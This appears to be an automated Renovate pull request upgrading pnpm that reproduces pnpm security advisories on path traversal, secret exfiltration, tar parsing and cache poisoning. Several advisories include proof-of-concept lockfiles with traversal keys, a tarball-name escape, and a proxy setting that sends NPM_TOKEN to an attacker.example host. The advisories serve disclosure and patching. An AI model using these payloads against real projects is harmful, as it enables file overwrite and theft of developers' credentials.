pnpm: patch-remove could delete project-selected files outside the patches directory

CVE-2026-59194 / GHSA-72r4-9c5j-mj57

More information

Details

Summary

The patch-remove deletion-scope issue tracked as GHSA-72r4-9c5j-mj57 / CAND-PNPM-030 has been addressed in pnpm.

A crafted patch entry could resolve outside the configured patches directory and cause pnpm patch-remove to delete an arbitrary reachable file. This patch validates the configured directory and every resolved target before unlinking anything, then deletes the final directory entry without following it.

Security boundary
  • Traversal and absolute paths that resolve outside the configured patches directory are rejected before deletion.
  • Parent directories are canonicalized before deletion, including the case where a nested symlink points outside and the final outside entry is itself dangling.
  • The complete batch is validated before any file is removed.
  • Component-aware predicates accept valid names beginning with .. while still rejecting parent traversal, Windows drive escapes, and UNC escapes.
  • Valid files and symlinked patch directories whose canonical targets remain below the lockfile directory continue to work.
  • A final symlink inside a valid patch directory is unlinked without following its target, including when the target is outside or dangling.
Exploit replay

Before the patch, a workspace patchedDependencies path that resolved outside the project caused pnpm patch-remove to delete the external sentinel. A second replay used a nested parent symlink and a dangling outside victim: realpath() returned ENOENT, yet the victim was still removed. With this patch, both paths are rejected and the outside entries remain intact.

Files changed
  • patching/commands/src/isSubdirectory.ts performs component-aware containment checks.
  • patching/commands/src/patchRemove.ts validates the full batch, canonicalizes parents, and unlinks final entries without following them.
  • patching/commands/test/{isSubdirectory,patchRemove}.test.ts covers traversal, nested symlinks, dangling victims, and valid removals.
Commands run
$ pnpm --filter @&#8203;pnpm/patching.commands test test/isSubdirectory.test.ts test/patchRemove.test.ts
PASS: 11 tests across 2 suites
$ pnpm --filter @&#8203;pnpm/patching.commands run compile
PASS
$ git diff --check
PASS
Validation
  • Focused handler and path-predicate suites: 11 passed across 2 suites.
  • Package-wide ESLint: passed.
  • Package TypeScript build: passed.
  • Commit hooks, Commitlint, and git diff --check: passed.
  • The broader integration harness was environment-blocked because it writes outside the available temporary root; focused handler tests used /private/tmp.
Patches

10.34.4: github.com/pnpm/pnpm@352ae489f1
11.7.0: github.com/pnpm/pnpm@612a2e6a73

Compatibility

Missing patch files remain no-ops. Valid symlinked patch directories continue to work when their canonical target stays inside the lockfile directory, and final symlinks are removed without touching their targets. patch-remove is not yet in pacquet's command surface, so no Rust-side parity change is required.

Remaining risk

Portable Node APIs do not expose directory-fd-relative unlinkat(). A local attacker who can replace an already validated parent directory before the unlink may still win a time-of-check/time-of-use race. The reproduced repository-controlled traversal and symlink paths do not require that concurrent capability and are blocked by this patch.


Written by an agent (Codex, GPT-5).

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Hoisted install imports lockfile alias outside node_modules

CVE-2026-59196 / GHSA-fr4h-3cph-29xv

More information

Details

Summary

The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet.

A crafted lockfile alias could be joined directly under a hoisted node_modules directory. Traversal aliases could escape that directory, while reserved aliases such as .bin or .pnpm could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work.

Security boundary
  • The TypeScript hoisted graph uses the shared safe join helper at the actual dep.name sink.
  • The helper rejects traversal, absolute, platform-specific, and reserved package names.
  • Pacquet validates the hoister's dep.0.name before adding the graph node or recursing.
  • Both implementations return ERR_PNPM_INVALID_DEPENDENCY_NAME.
  • Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases.
Exploit replay

Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created.

Files changed
  • fs/symlink-dependency/src/safeJoinModulesDir.ts provides the TypeScript containment helper.
  • installing/deps-restorer/src/lockfileToHoistedDepGraph.ts validates the parsed dependency name at the hoisted graph sink.
  • pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs} mirrors that boundary in Rust.
  • TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names.
Commands run
$ pnpm --filter @&#8203;pnpm/fs.symlink-dependency test
PASS: 24 tests
$ pnpm --filter @&#8203;pnpm/installing.deps-restorer test test/index.ts
PASS: exploit regression and positive install control
$ cargo test --locked -p pacquet-package-manager --lib
PASS: 426 tests
$ cargo fmt --all -- --check
PASS
Validation
  • TypeScript symlink helper: 24 passed.
  • TypeScript exploit regression: 1 passed.
  • TypeScript positive hoisted-install control: 1 passed.
  • Targeted strict TypeScript compiles: passed.
  • Targeted ESLint: zero errors.
  • Pacquet helper tests: 3 passed.
  • Full pacquet package-manager library suite: 426 passed.
  • cargo fmt, parsed two-document lockfile validation, and git diff --check: passed.
Patch

Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1

GitHub reports the branch as mergeable and has requested review from zkochan. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability

Compatibility

Valid unscoped and scoped package aliases continue to work. The changeset covers @pnpm/fs.symlink-dependency, @pnpm/installing.deps-restorer, and pnpm; pacquet is updated in the same commit for CLI parity.


Written by an agent (Codex, GPT-5).

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-59195 / GHSA-qrv3-253h-g69c

More information

Details

Summary

pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.

A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.

In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:

expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This works with --ignore-scripts, so it does not rely on lifecycle script execution.

Vulnerable behavior

The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.

The relevant pattern is:

const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')

for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
  const configDepPath = path.join(configModulesDir, pkgName)

  const pkgDirInGlobalVirtualStore = path.join(
    globalVirtualStoreDir,
    relPath,
    'node_modules',
    pkgName
  )

  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}

If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.

Impact

A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.

This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.

The issue is especially relevant because:

  • The malicious input is committed in pnpm-lock.yaml.
  • The issue is triggered during pnpm install.
  • It works with --ignore-scripts.
  • It occurs in the config dependency installation path, before ordinary dependency installation.
  • The user only needs to install a malicious or compromised repository.
Local proof of concept

The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.

Command used:

python3 ../pnpm_configdeps_path_traversal_poc.py \
  --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
  --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

Observed output:

[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry:     http://127.0.0.1:36545/
[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name:     '../../PWNED_CFGDEP'
[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/

pnpm output:

Installing config dependencies...
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Already up to date

Done in 906ms using pnpm v11.5.1

The PoC then detected the escaped symlink:

[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
Malicious lockfile structure

The malicious input is an env-lockfile configDependencies key containing traversal components:

importers:
  .:
    configDependencies:
      legit-config-dep:
        specifier: '1.0.0'
        version: '1.0.0'
      '../../PWNED_CFGDEP':
        specifier: '1.0.0'
        version: '1.0.0'

pnpm accepts the traversal-shaped name and reports it as installed:

Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Security boundary violation

The intended config dependency root was:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

But pnpm created:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.

Suggested remediation

Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.

Recommended fixes:

  1. Reject env-lockfile configDependencies names that are not valid npm package names.

  2. Reject names containing absolute paths, . components, .. components, backslashes, or platform-specific path separators.

  3. Use containment-checked path joining before creating symlinks:

    • resolve the final destination path,
    • verify it remains inside node_modules/.pnpm-config,
    • reject if it escapes.
  4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.

  5. Intersect env-lockfile configDependencies with the effective pnpm-workspace.yaml configDependencies before installing, so extra lockfile-only entries are rejected.

A safe destination check should enforce behavior equivalent to:

const dest = path.resolve(configModulesDir, pkgName)

if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
  throw new Error(`Invalid config dependency name: ${pkgName}`)
}

Name validation should happen before this check, not instead of it.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

CVE-2026-82392 / GHSA-c59q-g84q-2gj5

More information

Details

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details
Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as:

const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path
  1. pnpm-lock.yaml → lockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key)
  2. nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' }
  3. lockfileToDepGraph.ts:232 → modules = path.join(dirInVirtualStore, 'node_modules')
  4. lockfileToDepGraph.ts:233 → dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store)
  5. storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path
Why Existing Defenses Don't Catch It
  • depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function
  • verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves
  • Lockfile parser — yaml.load(lockfileRawContent) with no schema validation on packages keys
  • importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check
  • Integrity verification — requires a real fetchable package but does not validate the destination path
Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:

  • .git/hooks/pre-commit — code execution on next git operation
  • ~/.local/bin/ — binary hijacking
  • Project source files — supply chain injection
Reproduction

Craft a pnpm-lock.yaml:

lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Apply safeJoinModulesDir (or equivalent validation) at:

  • lockfileToDepGraph.ts:233 — path.join(modules, pkgName)
  • after-install/src/index.ts:402 — path.join(pkgModulesDir(depPath), pkgInfo.name)
  • lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: A tarball dependency's manifest name escapes node_modules → arbitrary file write/overwrite on install

CVE-2026-82393 / GHSA-vq4v-j7r6-jq4m

More information

Details

Summary

When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside node_modules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.

Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.

Root cause
  • The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233 — without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is node_modules/.pnpm/<id>/node_modules/<name>, so a traversal <name> escapes.
  • The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.
Steps to reproduce

Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir):

npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@&#8203;x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts

Confirmed output (repro/poc.mjs, exit 0):

escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***
Remediation

Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

CVE-2026-101043 / GHSA-vx52-2968-3vc6

More information

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

  • pnpm 11.x: >= 11.0.0, < 11.11.0
  • pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches
  • pnpm 11.11.0 and later
  • pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept

##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

❗ Important

Release Notes retrieval for this PR were skipped because no github.com credentials were available.
If you are self-hosted, please see this instruction.


pnpm incorrectly parses tar archives relative to specification

CVE-2023-37478 / GHSA-5r98-f33j-g8h7

More information

Details

Summary

It is possible to construct a tarball that, when installed via npm or parsed by the registry is safe, but when installed via pnpm is malicious, due to how pnpm parses tar archives.

Details

The TAR format is an append-only archive format, and as such, the specification for how to update a file is to add a new record to the end with the updated version of the file. This means that it is completely valid for an archive to contain multiple copies of, say, package.json, and the expected behavior when extracting is that all versions other than the last get ignored.

This is further complicated by that during tarball extraction, all package managers are configured to drop the first path component, so collisions can be created simply by using multiple root folders in the archive, even without performing updates.

When pnpm extracts a tar archive via tar-stream, it appears to extract only the first file of a given name and discards all subsequent files with the same name.

PoC

Create a root folder with the following layout:

  • a/package.json
  • package/package.json
  • z/package.json

File contents:

a/package.json
{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is a bad version of a test package",
    "dependencies": {
        "react": "^15"
    }
}
package/package.json
{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is a bad version of a test package",
    "dependencies": {
        "react": "^16"
    }
}
z/package.json
{
    "name": "test-package",
    "version": "0.1.0",
    "description": "This is the good version of a test package",
    "dependencies": {
        "react": "^17"
    }
}

Then use the tar binary to produce a tarball (working directory is the root folder):
tar -c -z --format ustar -f package.tgz a package z
The order of the folders at the end matters; whichever one is last will end up being the package.json that wins when extracted by npm; the one that is first will be the one that wins when extracted by pnpm.

Install the tarball via the file: protocol.

Observe that with npm, the lockfile has react@17, while with pnpm it has react@15.

Impact

This can result in a package that appears safe on the npm registry or when installed via npm being replaced with a compromised or malicious version when installed via pnpm.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm no-script global cache poisoning via overrides / ignore-scripts evasion

CVE-2024-53866 / GHSA-vm32-9rqf-rh3r

More information

Details

Summary

pnpm seems to mishandle overrides and global cache:

  1. Overrides from one workspace leak into npm metadata saved in global cache
  2. npm metadata from global cache affects other workspaces
  3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

  1. Remove store and cache
    On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store
    This step is not required in general, but we'll be using a popular package for PoC that's likely cached
  2. Create A/package.json:
    {
      "name": "A",
      "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
      "dependencies": { "rimraf": "6.0.1" }
    }
    
    Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
  3. Create B/package.json:
    {
      "name": "B",
      "dependencies": { "rimraf": "6.0.1" }
    }
    
    Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Severity

  • CVSS Score: 5.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm uses the md5 path shortening function causes packet paths to coincide, which causes indirect packet overwriting

CVE-2024-47829 / GHSA-8cc4-rfj6-fhg4

More information

Details

The path shortening function is used in pnpm:

export function depPathToFilename (depPath: string, maxLengthWithoutHash: number): string {
  let filename = depPathToFilenameUnescaped(depPath).replace(/[\\/:*?"<>|]/g, '+')
  if (filename.includes('(')) {
    filename = filename
      .replace(/\)$/, '')
      .replace(/(\)\()|\(|\)/g, '_')
  }
  if (filename.length > maxLengthWithoutHash || filename !== filename.toLowerCase() && !filename.startsWith('file+')) {
    return `${filename.substring(0, maxLengthWithoutHash - 27)}_${createBase32Hash(filename)}`
  }
  return filename
}

However, it uses the md5 function as a path shortening compression function, and if a collision occurs, it will result in the same storage path for two different libraries. Although the real names are under the package name /node_modoules/, there are no version numbers for the libraries they refer to.
Schematic picture
In the diagram, we assume that two packages are called packageA and packageB, and that the first 90 digits of their package names must be the same, and that the hash value of the package names with versions must be the same. Then C is the package that they both reference, but with a different version number. (npm allows package names up to 214 bytes, so constructing such a collision package name is obvious.)

Then hash(packageA@1.2.3)=hash(packageB@3.4.5). This results in the same path for the installation, and thus under the same directory. Although the package names under node_modoules are the full paths again, they are shared with C.
What is the exact version number of C?
In our local tests, it depends on which one is installed later. If packageB is installed later, the C version number will change to 2.0.0. At this time, although package A requires the C@1.0.0 version, package. json will only work during installation, and will not affect the actual operation.
We did not receive any installation error issues from pnpm during our local testing, nor did we use force, which is clearly a case that can be triggered.

For a package with a package name + version number longer than 120, another package can be constructed to introduce an indirect reference to a lower version, such as one with some known vulnerability.
Alternatively, it is possible to construct two packages with more than 120 package names + version numbers.
This is clearly an advantage for those intent on carrying out supply chain attacks.

The solution:
The repair cost is also very low, just need to upgrade the md5 function to sha256.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Configuration

📅 Schedule: (in timezone Europe/Stockholm)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [pnpm](https://github.com/pnpm/pnpm/tree/main/pnpm) ([source](https://github.com/pnpm/pnpm/tree/HEAD/pnpm/npm/pnpm)) | [`10.15.0` → `10.34.5`](https://renovatebot.com/diffs/npm/pnpm/10.15.0/10.34.5) | ![age](https://developer.mend.io/api/mc/badges/age/npm/pnpm/10.34.5?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/pnpm/10.15.0/10.34.5?slim=true) | | [pnpm](https://github.com/pnpm/pnpm/tree/main/pnpm) ([source](https://github.com/pnpm/pnpm/tree/HEAD/pnpm/npm/pnpm)) | [`>=8.0.0` → `>=10.34.5`](https://renovatebot.com/diffs/npm/pnpm/8.0.0/10.34.5) | ![age](https://developer.mend.io/api/mc/badges/age/npm/pnpm/10.34.5?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/pnpm/8.0.0/10.34.5?slim=true) | --- ### pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default" [CVE-2025-69264](https://nvd.nist.gov/vuln/detail/CVE-2025-69264) / [GHSA-379q-355j-w6rj](https://github.com/advisories/GHSA-379q-355j-w6rj) <details> <summary>More information</summary> #### Details ##### pnpm v10+ Git Dependency Script Execution Bypass ##### Summary A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during `pnpm install`, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks `postinstall` scripts via the `onlyBuiltDependencies` mechanism, git dependencies can still execute `prepare`, `prepublish`, and `prepack` scripts during the fetch phase, enabling remote code execution without user consent or approval. ##### Details pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default ([PR #&#8203;8897](https://github.com/pnpm/pnpm/pull/8897)). This is implemented by setting `onlyBuiltDependencies = []` when no build policy is configured: **File:** `pkg-manager/core/src/install/extendInstallOptions.ts` (lines 290-291) ```typescript if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) { opts.onlyBuiltDependencies = [] } ``` This creates an allowlist that blocks all packages from running scripts during the **BUILD phase** in `exec/build-modules/src/index.ts`. However, git-hosted dependencies are processed differently. During the **FETCH phase**, git packages are prepared using `preparePackage()`: **File:** `exec/prepare-package/src/index.ts` (lines 28-57) ```typescript export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) { // ... if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir } // Only checks ignoreScripts, not onlyBuiltDependencies const execOpts: RunLifecycleHookOptions = { // ... rawConfig: omit(['ignore-scripts'], opts.rawConfig), // Explicitly removes ignore-scripts! } // Runs npm/pnpm install await runLifecycleHook(installScriptName, manifest, execOpts) // Runs prepare scripts for (const scriptName of 